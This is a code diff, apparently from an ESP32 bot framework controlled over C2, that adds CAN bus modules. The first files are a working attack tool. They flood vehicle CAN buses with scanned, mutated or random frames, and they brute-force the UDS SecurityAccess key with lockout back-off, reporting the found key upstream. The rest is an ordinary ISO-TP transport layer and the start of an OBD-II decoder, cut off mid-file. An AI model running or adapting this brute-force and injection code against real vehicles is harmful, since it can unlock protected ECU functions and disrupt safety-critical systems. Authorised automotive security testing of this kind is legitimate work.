vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
|
||||
if (s_fuzz_cfg.max_iterations > 0 &&
|
||||
s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
frame.data[pos] = original; /* Restore for next position */
|
||||
}
|
||||
}
|
||||
|
||||
/* Random: random ID + random data */
|
||||
static void fuzz_random(void)
|
||||
{
|
||||
int max_iter = s_fuzz_cfg.max_iterations > 0
|
||||
? s_fuzz_cfg.max_iterations
|
||||
: 10000;
|
||||
|
||||
for (int i = 0; i < max_iter && s_fuzz_running; i++) {
|
||||
uint32_t rand_val = esp_random();
|
||||
|
||||
can_frame_t frame = {
|
||||
.id = rand_val & 0x7FF, /* Standard ID range */
|
||||
.dlc = (uint8_t)((esp_random() % 8) + 1),
|
||||
.extended = false,
|
||||
.rtr = false,
|
||||
};
|
||||
|
||||
/* Fill with random data */
|
||||
uint32_t r1 = esp_random();
|
||||
uint32_t r2 = esp_random();
|
||||
memcpy(&frame.data[0], &r1, 4);
|
||||
memcpy(&frame.data[4], &r2, 4);
|
||||
|
||||
can_driver_send(&frame);
|
||||
s_fuzz_count++;
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* UDS Auth: brute-force SecurityAccess key */
|
||||
static void fuzz_uds_auth(void)
|
||||
{
|
||||
#ifdef CONFIG_CANBUS_ISO_TP
|
||||
uint32_t tx_id = s_fuzz_cfg.target_id;
|
||||
uint32_t rx_id = tx_id + 0x08;
|
||||
int max_iter = s_fuzz_cfg.max_iterations > 0
|
||||
? s_fuzz_cfg.max_iterations
|
||||
: 65536;
|
||||
|
||||
ESP_LOGI(TAG, "UDS auth brute-force on TX=0x%03lX", (unsigned long)tx_id);
|
||||
|
||||
for (int attempt = 0; attempt < max_iter && s_fuzz_running; attempt++) {
|
||||
/* Step 1: Request seed (SecurityAccess level 0x01) */
|
||||
uint8_t seed_req[2] = { 0x27, 0x01 };
|
||||
uint8_t resp[32];
|
||||
size_t resp_len = 0;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
tx_id, rx_id, seed_req, 2,
|
||||
resp, sizeof(resp), &resp_len, 1000
|
||||
);
|
||||
|
||||
if (st != ISOTP_OK || resp_len < 2) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Check for exceededAttempts NRC (0x36) — back off */
|
||||
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x36) {
|
||||
ESP_LOGW(TAG, "ExceededAttempts — waiting 10s");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Check for timeDelayNotExpired NRC (0x37) — back off */
|
||||
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x37) {
|
||||
ESP_LOGW(TAG, "TimeDelayNotExpired — waiting 10s");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Positive seed response: 0x67, 0x01, seed bytes */
|
||||
if (resp[0] != 0x67 || resp[1] != 0x01) continue;
|
||||
|
||||
int seed_len = (int)resp_len - 2;
|
||||
if (seed_len <= 0 || seed_len > 8) continue;
|
||||
|
||||
/* Step 2: Try key (incremental or random based on iteration) */
|
||||
uint8_t key_req[10] = { 0x27, 0x02 };
|
||||
int key_len;
|
||||
|
||||
if (seed_len <= 2) {
|
||||
/* Short seed: try sequential */
|
||||
key_len = seed_len;
|
||||
key_req[2] = (uint8_t)(attempt >> 8);
|
||||
if (key_len > 1) key_req[3] = (uint8_t)(attempt & 0xFF);
|
||||
else key_req[2] = (uint8_t)(attempt & 0xFF);
|
||||
} else {
|
||||
/* Long seed: try random keys */
|
||||
key_len = seed_len;
|
||||
uint32_t r1 = esp_random();
|
||||
uint32_t r2 = esp_random();
|
||||
memcpy(&key_req[2], &r1, 4);
|
||||
if (key_len > 4) memcpy(&key_req[6], &r2, key_len - 4);
|
||||
}
|
||||
|
||||
resp_len = 0;
|
||||
st = isotp_request(
|
||||
tx_id, rx_id, key_req, 2 + key_len,
|
||||
resp, sizeof(resp), &resp_len, 1000
|
||||
);
|
||||
|
||||
s_fuzz_count++;
|
||||
|
||||
if (st == ISOTP_OK && resp_len >= 2 && resp[0] == 0x67) {
|
||||
/* SUCCESS! */
|
||||
char line[64];
|
||||
snprintf(line, sizeof(line), "FUZZ_UDS_KEY_FOUND|0x%03lX|",
|
||||
(unsigned long)tx_id);
|
||||
size_t off = strlen(line);
|
||||
for (int k = 0; k < key_len && off < sizeof(line) - 2; k++) {
|
||||
off += snprintf(line + off, sizeof(line) - off, "%02X", key_req[2 + k]);
|
||||
}
|
||||
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
|
||||
ESP_LOGI(TAG, "Security key found!");
|
||||
s_fuzz_running = false;
|
||||
break;
|
||||
}
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
|
||||
/* Progress report every 100 attempts */
|
||||
if ((attempt % 100) == 99) {
|
||||
char progress[48];
|
||||
snprintf(progress, sizeof(progress), "FUZZ_UDS_PROGRESS|%d", attempt + 1);
|
||||
msg_data(TAG, progress, strlen(progress), false, s_fuzz_req_id);
|
||||
}
|
||||
}
|
||||
#else
|
||||
ESP_LOGE(TAG, "UDS auth fuzz requires CONFIG_CANBUS_ISO_TP");
|
||||
s_fuzz_running = false;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Fuzz Task
|
||||
* ============================================================ */
|
||||
|
||||
static void fuzz_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
ESP_LOGI(TAG, "Fuzzing started: mode=%d", s_fuzz_cfg.mode);
|
||||
s_fuzz_count = 0;
|
||||
s_fuzz_responses = 0;
|
||||
|
||||
switch (s_fuzz_cfg.mode) {
|
||||
case FUZZ_MODE_ID_SCAN: fuzz_id_scan(); break;
|
||||
case FUZZ_MODE_DATA_MUTATE: fuzz_data_mutate(); break;
|
||||
case FUZZ_MODE_RANDOM: fuzz_random(); break;
|
||||
case FUZZ_MODE_UDS_AUTH: fuzz_uds_auth(); break;
|
||||
}
|
||||
|
||||
/* Report completion */
|
||||
char done[80];
|
||||
snprintf(done, sizeof(done), "FUZZ_DONE|sent=%"PRIu32"|responses=%"PRIu32,
|
||||
s_fuzz_count, s_fuzz_responses);
|
||||
msg_data(TAG, done, strlen(done), true, s_fuzz_req_id);
|
||||
|
||||
s_fuzz_running = false;
|
||||
s_fuzz_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id)
|
||||
{
|
||||
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
|
||||
|
||||
if (s_fuzz_running) {
|
||||
ESP_LOGW(TAG, "Fuzzing already in progress");
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return false;
|
||||
}
|
||||
if (!can_driver_is_running()) {
|
||||
ESP_LOGE(TAG, "CAN driver not running");
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
s_fuzz_cfg = *cfg;
|
||||
s_fuzz_req_id = request_id;
|
||||
s_fuzz_running = true;
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
fuzz_task, "can_fuzz", 4096, NULL, 3, &s_fuzz_task, 1
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
s_fuzz_running = false;
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return true;
|
||||
}
|
||||
|
||||
void can_fuzz_stop(void)
|
||||
{
|
||||
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
|
||||
s_fuzz_running = false;
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
|
||||
for (int i = 0; i < 20 && s_fuzz_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
}
|
||||
}
|
||||
|
||||
bool can_fuzz_is_running(void)
|
||||
{
|
||||
return s_fuzz_running;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_FUZZ */
|
||||
42
espilon_bot/components/mod_canbus/canbus_fuzz.h
Normal file
42
espilon_bot/components/mod_canbus/canbus_fuzz.h
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* canbus_fuzz.h
|
||||
* CAN bus fuzzing engine — ID scan, data mutation, random injection, UDS auth brute-force.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
FUZZ_MODE_ID_SCAN, /* Iterate all CAN IDs, fixed payload */
|
||||
FUZZ_MODE_DATA_MUTATE, /* Fixed ID, mutate data bytes systematically */
|
||||
FUZZ_MODE_RANDOM, /* Random ID + random data */
|
||||
FUZZ_MODE_UDS_AUTH, /* Brute-force UDS SecurityAccess keys */
|
||||
} fuzz_mode_t;
|
||||
|
||||
typedef struct {
|
||||
fuzz_mode_t mode;
|
||||
uint32_t id_start, id_end; /* For ID_SCAN range */
|
||||
uint32_t target_id; /* For DATA_MUTATE / UDS_AUTH */
|
||||
int delay_ms; /* Inter-frame delay */
|
||||
int max_iterations; /* 0 = unlimited */
|
||||
uint8_t seed_data[8]; /* Initial data for mutation */
|
||||
uint8_t seed_dlc; /* DLC for seed data */
|
||||
} fuzz_config_t;
|
||||
|
||||
/* Start fuzzing in background task. request_id for C2 streaming. */
|
||||
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id);
|
||||
|
||||
/* Stop fuzzing */
|
||||
void can_fuzz_stop(void);
|
||||
|
||||
/* Check if fuzzing is active */
|
||||
bool can_fuzz_is_running(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
416
espilon_bot/components/mod_canbus/canbus_isotp.c
Normal file
416
espilon_bot/components/mod_canbus/canbus_isotp.c
Normal file
@ -0,0 +1,416 @@
|
||||
/*
|
||||
* canbus_isotp.c
|
||||
* ISO-TP (ISO 15765-2) transport layer implementation.
|
||||
*
|
||||
* Frame types:
|
||||
* Single Frame (SF): [0x0N | data...] N = length (1-7)
|
||||
* First Frame (FF): [0x1H 0xLL | 6 bytes] H:L = total length (up to 4095)
|
||||
* Consecutive Frame (CF): [0x2N | 7 bytes] N = sequence (0-F, wrapping)
|
||||
* Flow Control (FC): [0x30 BS ST] BS=block size, ST=separation time
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_ISO_TP)
|
||||
|
||||
#include <string.h>
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "canbus_isotp.h"
|
||||
#include "canbus_driver.h"
|
||||
|
||||
#define TAG "CAN_ISOTP"
|
||||
|
||||
/* Max ISO-TP payload (12-bit length field) */
|
||||
#define ISOTP_MAX_LEN 4095
|
||||
|
||||
/* Reassembly buffer (static — single concurrent transfer) */
|
||||
static uint8_t s_reassembly[ISOTP_MAX_LEN];
|
||||
|
||||
/* Synchronization: RX callback puts frame here, isotp functions wait on semaphore */
|
||||
static SemaphoreHandle_t s_rx_sem = NULL;
|
||||
static can_frame_t s_rx_frame;
|
||||
static volatile uint32_t s_listen_id = 0;
|
||||
static volatile bool s_listening = false;
|
||||
|
||||
/* Previous RX callback to chain */
|
||||
static can_rx_callback_t s_prev_cb = NULL;
|
||||
static void *s_prev_ctx = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* Internal RX callback for ISO-TP framing
|
||||
* ============================================================ */
|
||||
|
||||
static void isotp_rx_callback(const can_frame_t *frame, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
/* If we're listening for a specific ID, capture it */
|
||||
if (s_listening && frame->id == s_listen_id) {
|
||||
s_rx_frame = *frame;
|
||||
if (s_rx_sem) xSemaphoreGive(s_rx_sem);
|
||||
}
|
||||
|
||||
/* Chain to previous callback (sniff/record) */
|
||||
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static void isotp_init_once(void)
|
||||
{
|
||||
if (!s_rx_sem) {
|
||||
s_rx_sem = xSemaphoreCreateBinary();
|
||||
}
|
||||
}
|
||||
|
||||
/* Hook our callback, saving the previous one */
|
||||
static void isotp_hook_rx(uint32_t listen_id)
|
||||
{
|
||||
isotp_init_once();
|
||||
|
||||
s_listen_id = listen_id;
|
||||
s_listening = true;
|
||||
|
||||
/* Clear any pending semaphore */
|
||||
xSemaphoreTake(s_rx_sem, 0);
|
||||
}
|
||||
|
||||
static void isotp_unhook_rx(void)
|
||||
{
|
||||
s_listening = false;
|
||||
s_listen_id = 0;
|
||||
}
|
||||
|
||||
/* Wait for a frame with the target ID, timeout in ms */
|
||||
static bool wait_frame(can_frame_t *out, int timeout_ms)
|
||||
{
|
||||
if (xSemaphoreTake(s_rx_sem, pdMS_TO_TICKS(timeout_ms)) == pdTRUE) {
|
||||
*out = s_rx_frame;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Send a single CAN frame (helper) */
|
||||
static bool send_frame(uint32_t id, const uint8_t *data, uint8_t dlc)
|
||||
{
|
||||
can_frame_t f = {
|
||||
.id = id,
|
||||
.dlc = dlc,
|
||||
.extended = (id > 0x7FF),
|
||||
.rtr = false,
|
||||
.timestamp_us = 0,
|
||||
};
|
||||
memcpy(f.data, data, dlc);
|
||||
return can_driver_send(&f);
|
||||
}
|
||||
|
||||
/* Send Flow Control frame: CTS (continue to send) */
|
||||
static bool send_fc(uint32_t tx_id, uint8_t block_size, uint8_t st_min)
|
||||
{
|
||||
uint8_t fc[8] = { 0x30, block_size, st_min, 0, 0, 0, 0, 0 };
|
||||
return send_frame(tx_id, fc, 8);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* isotp_send — Send ISO-TP message
|
||||
* ============================================================ */
|
||||
|
||||
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *data, size_t len,
|
||||
int timeout_ms)
|
||||
{
|
||||
if (!data || len == 0 || len > ISOTP_MAX_LEN) return ISOTP_ERROR;
|
||||
|
||||
isotp_init_once();
|
||||
|
||||
/* Single Frame: len <= 7 */
|
||||
if (len <= 7) {
|
||||
uint8_t sf[8] = { 0 };
|
||||
sf[0] = (uint8_t)(len & 0x0F); /* PCI: 0x0N */
|
||||
memcpy(&sf[1], data, len);
|
||||
if (!send_frame(tx_id, sf, 8)) return ISOTP_ERROR;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* Multi-frame: First Frame + wait FC + Consecutive Frames */
|
||||
|
||||
/* Send First Frame */
|
||||
uint8_t ff[8] = { 0 };
|
||||
ff[0] = 0x10 | (uint8_t)((len >> 8) & 0x0F);
|
||||
ff[1] = (uint8_t)(len & 0xFF);
|
||||
memcpy(&ff[2], data, 6);
|
||||
if (!send_frame(tx_id, ff, 8)) return ISOTP_ERROR;
|
||||
|
||||
/* Wait for Flow Control */
|
||||
isotp_hook_rx(rx_id);
|
||||
|
||||
can_frame_t fc;
|
||||
if (!wait_frame(&fc, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "FC timeout from 0x%03lX", (unsigned long)rx_id);
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
|
||||
/* Parse FC */
|
||||
if ((fc.data[0] & 0xF0) != 0x30) {
|
||||
ESP_LOGW(TAG, "Expected FC, got PCI 0x%02X", fc.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
uint8_t block_size = fc.data[1]; /* 0 = no limit */
|
||||
uint8_t st_min = fc.data[2]; /* Separation time in ms */
|
||||
|
||||
/* Send Consecutive Frames */
|
||||
size_t offset = 6; /* First 6 bytes already sent in FF */
|
||||
uint8_t seq = 1;
|
||||
uint8_t blocks_sent = 0;
|
||||
|
||||
while (offset < len) {
|
||||
uint8_t cf[8] = { 0 };
|
||||
cf[0] = 0x20 | (seq & 0x0F);
|
||||
|
||||
size_t chunk = len - offset;
|
||||
if (chunk > 7) chunk = 7;
|
||||
memcpy(&cf[1], &data[offset], chunk);
|
||||
|
||||
if (!send_frame(tx_id, cf, 8)) return ISOTP_ERROR;
|
||||
|
||||
offset += chunk;
|
||||
seq = (seq + 1) & 0x0F;
|
||||
blocks_sent++;
|
||||
|
||||
/* Respect separation time */
|
||||
if (st_min > 0 && st_min <= 127) {
|
||||
vTaskDelay(pdMS_TO_TICKS(st_min));
|
||||
}
|
||||
|
||||
/* Block size flow control */
|
||||
if (block_size > 0 && blocks_sent >= block_size && offset < len) {
|
||||
blocks_sent = 0;
|
||||
isotp_hook_rx(rx_id);
|
||||
if (!wait_frame(&fc, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
isotp_unhook_rx();
|
||||
if ((fc.data[0] & 0xF0) != 0x30) return ISOTP_ERROR;
|
||||
block_size = fc.data[1];
|
||||
st_min = fc.data[2];
|
||||
}
|
||||
}
|
||||
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* isotp_recv — Receive ISO-TP message
|
||||
* ============================================================ */
|
||||
|
||||
isotp_status_t isotp_recv(uint32_t rx_id,
|
||||
uint8_t *buf, size_t buf_cap, size_t *out_len,
|
||||
int timeout_ms)
|
||||
{
|
||||
if (!buf || buf_cap == 0 || !out_len) return ISOTP_ERROR;
|
||||
*out_len = 0;
|
||||
|
||||
isotp_hook_rx(rx_id);
|
||||
|
||||
can_frame_t frame;
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
uint8_t pci_type = frame.data[0] & 0xF0;
|
||||
|
||||
/* Single Frame */
|
||||
if (pci_type == 0x00) {
|
||||
isotp_unhook_rx();
|
||||
size_t sf_len = frame.data[0] & 0x0F;
|
||||
if (sf_len == 0 || sf_len > 7 || sf_len > buf_cap) return ISOTP_ERROR;
|
||||
memcpy(buf, &frame.data[1], sf_len);
|
||||
*out_len = sf_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* First Frame */
|
||||
if (pci_type != 0x10) {
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "Expected SF/FF, got PCI 0x%02X", frame.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
|
||||
if (total_len > buf_cap || total_len > ISOTP_MAX_LEN) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_OVERFLOW;
|
||||
}
|
||||
|
||||
/* Copy first 6 data bytes from FF */
|
||||
size_t received = (total_len < 6) ? total_len : 6;
|
||||
memcpy(buf, &frame.data[2], received);
|
||||
|
||||
/* We need to figure out the TX ID to send FC back.
|
||||
* Convention: if rx_id is in 0x7E8-0x7EF range, tx_id = rx_id - 8.
|
||||
* For functional requests, FC goes to rx_id - 8.
|
||||
* Caller should use isotp_request() for proper bidirectional comms. */
|
||||
uint32_t fc_tx_id = (rx_id >= 0x7E8 && rx_id <= 0x7EF)
|
||||
? (rx_id - 8)
|
||||
: (rx_id - 1);
|
||||
|
||||
/* Send Flow Control: continue, no block limit, 0ms separation */
|
||||
send_fc(fc_tx_id, 0, 0);
|
||||
|
||||
/* Receive Consecutive Frames */
|
||||
uint8_t expected_seq = 1;
|
||||
while (received < total_len) {
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
if ((frame.data[0] & 0xF0) != 0x20) {
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "Expected CF, got PCI 0x%02X", frame.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
uint8_t seq = frame.data[0] & 0x0F;
|
||||
if (seq != (expected_seq & 0x0F)) {
|
||||
ESP_LOGW(TAG, "CF seq mismatch: expected %u, got %u",
|
||||
expected_seq & 0x0F, seq);
|
||||
}
|
||||
expected_seq++;
|
||||
|
||||
size_t chunk = total_len - received;
|
||||
if (chunk > 7) chunk = 7;
|
||||
memcpy(&buf[received], &frame.data[1], chunk);
|
||||
received += chunk;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
*out_len = total_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* isotp_request — Send + Receive (UDS request-response pattern)
|
||||
* ============================================================ */
|
||||
|
||||
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len,
|
||||
int timeout_ms)
|
||||
{
|
||||
if (!resp || !resp_len) return ISOTP_ERROR;
|
||||
*resp_len = 0;
|
||||
|
||||
isotp_init_once();
|
||||
|
||||
/* For request-response, we need to listen before sending
|
||||
* (the response may come very quickly after the request) */
|
||||
isotp_hook_rx(rx_id);
|
||||
|
||||
/* Send request */
|
||||
isotp_status_t st;
|
||||
|
||||
if (req_len <= 7) {
|
||||
/* Single frame — send directly and wait for response */
|
||||
uint8_t sf[8] = { 0 };
|
||||
sf[0] = (uint8_t)(req_len & 0x0F);
|
||||
memcpy(&sf[1], req, req_len);
|
||||
if (!send_frame(tx_id, sf, 8)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
} else {
|
||||
/* Multi-frame send — unhook first since isotp_send hooks itself */
|
||||
isotp_unhook_rx();
|
||||
st = isotp_send(tx_id, rx_id, req, req_len, timeout_ms);
|
||||
if (st != ISOTP_OK) return st;
|
||||
isotp_hook_rx(rx_id);
|
||||
}
|
||||
|
||||
/* Wait for response (may be SF or FF+CF) */
|
||||
can_frame_t frame;
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
uint8_t pci_type = frame.data[0] & 0xF0;
|
||||
|
||||
/* Single Frame response */
|
||||
if (pci_type == 0x00) {
|
||||
isotp_unhook_rx();
|
||||
size_t sf_len = frame.data[0] & 0x0F;
|
||||
if (sf_len == 0 || sf_len > 7 || sf_len > resp_cap) return ISOTP_ERROR;
|
||||
memcpy(resp, &frame.data[1], sf_len);
|
||||
*resp_len = sf_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* First Frame response */
|
||||
if (pci_type == 0x10) {
|
||||
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
|
||||
if (total_len > resp_cap || total_len > ISOTP_MAX_LEN) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_OVERFLOW;
|
||||
}
|
||||
|
||||
size_t received = (total_len < 6) ? total_len : 6;
|
||||
memcpy(resp, &frame.data[2], received);
|
||||
|
||||
/* Send FC */
|
||||
send_fc(tx_id, 0, 0);
|
||||
|
||||
/* Receive CFs */
|
||||
uint8_t expected_seq = 1;
|
||||
while (received < total_len) {
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
if ((frame.data[0] & 0xF0) != 0x20) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
expected_seq++;
|
||||
|
||||
size_t chunk = total_len - received;
|
||||
if (chunk > 7) chunk = 7;
|
||||
memcpy(&resp[received], &frame.data[1], chunk);
|
||||
received += chunk;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
*resp_len = total_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "Unexpected PCI type 0x%02X in response", frame.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Install ISO-TP RX hook into the CAN driver
|
||||
* ============================================================ */
|
||||
|
||||
void isotp_install_hook(void)
|
||||
{
|
||||
isotp_init_once();
|
||||
/* Save the current callback so we can chain to it */
|
||||
can_driver_get_rx_callback(&s_prev_cb, &s_prev_ctx);
|
||||
can_driver_set_rx_callback(isotp_rx_callback, NULL);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_ISO_TP */
|
||||
70
espilon_bot/components/mod_canbus/canbus_isotp.h
Normal file
70
espilon_bot/components/mod_canbus/canbus_isotp.h
Normal file
@ -0,0 +1,70 @@
|
||||
/*
|
||||
* canbus_isotp.h
|
||||
* ISO-TP (ISO 15765-2) transport layer for CAN bus.
|
||||
* Handles multi-frame messaging (> 8 bytes) required by UDS and OBD-II.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
ISOTP_OK = 0,
|
||||
ISOTP_TIMEOUT,
|
||||
ISOTP_OVERFLOW,
|
||||
ISOTP_ERROR,
|
||||
} isotp_status_t;
|
||||
|
||||
/*
|
||||
* Send an ISO-TP message (blocking).
|
||||
* Handles Single Frame for len <= 7, or First Frame + Consecutive Frames.
|
||||
* Waits for Flow Control frame from receiver if multi-frame.
|
||||
*
|
||||
* tx_id: CAN arbitration ID for outgoing frames
|
||||
* rx_id: CAN arbitration ID for incoming Flow Control
|
||||
* data/len: payload to send
|
||||
* timeout_ms: max wait for Flow Control response
|
||||
*/
|
||||
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *data, size_t len,
|
||||
int timeout_ms);
|
||||
|
||||
/*
|
||||
* Receive an ISO-TP message (blocking).
|
||||
* Reassembles Single Frame or First Frame + Consecutive Frames.
|
||||
* Sends Flow Control frame to sender if multi-frame.
|
||||
*
|
||||
* rx_id: CAN arbitration ID to listen for
|
||||
* buf/buf_cap: output buffer
|
||||
* out_len: actual received length
|
||||
* timeout_ms: max wait time
|
||||
*/
|
||||
isotp_status_t isotp_recv(uint32_t rx_id,
|
||||
uint8_t *buf, size_t buf_cap, size_t *out_len,
|
||||
int timeout_ms);
|
||||
|
||||
/*
|
||||
* Request-Response: send then receive (most common UDS pattern).
|
||||
* Combines isotp_send() + isotp_recv() with proper FC handling.
|
||||
*
|
||||
* tx_id/rx_id: CAN ID pair (e.g. 0x7E0/0x7E8 for ECU diagnostics)
|
||||
*/
|
||||
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len,
|
||||
int timeout_ms);
|
||||
|
||||
/*
|
||||
* Install ISO-TP RX hook into the CAN driver callback chain.
|
||||
* Must be called after can_driver_set_rx_callback() so that the
|
||||
* previous callback (sniff/record) is preserved in the chain.
|
||||
*/
|
||||
void isotp_install_hook(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
357
espilon_bot/components/mod_canbus/canbus_obd.c
Normal file
357
espilon_bot/components/mod_canbus/canbus_obd.c
Normal file
@ -0,0 +1,357 @@
|
||||
/*
|
||||
* canbus_obd.c
|
||||
* OBD-II PID decoder with lookup table for ~40 common PIDs.
|
||||
*
|
||||
* Uses ISO-TP for communication (even single-frame OBD fits in SF,
|
||||
* but VIN and DTC responses may require multi-frame).
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_OBD)
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "canbus_obd.h"
|
||||
#include "canbus_isotp.h"
|
||||
#include "canbus_driver.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "CAN_OBD"
|
||||
|
||||
/* ============================================================
|
||||
* PID Decoder Table
|
||||
* ============================================================ */
|
||||
|
||||
typedef float (*decode_fn_t)(const uint8_t *data, int len);
|
||||
|
||||
typedef struct {
|
||||
uint8_t pid;
|
||||
const char *name;
|
||||
const char *unit;
|
||||
int data_bytes; /* Expected response data bytes (A, AB, ABC...) */
|
||||
decode_fn_t decode;
|
||||
} pid_decoder_t;
|
||||
|
||||
/* Decode functions — all check buffer length before access */
|
||||
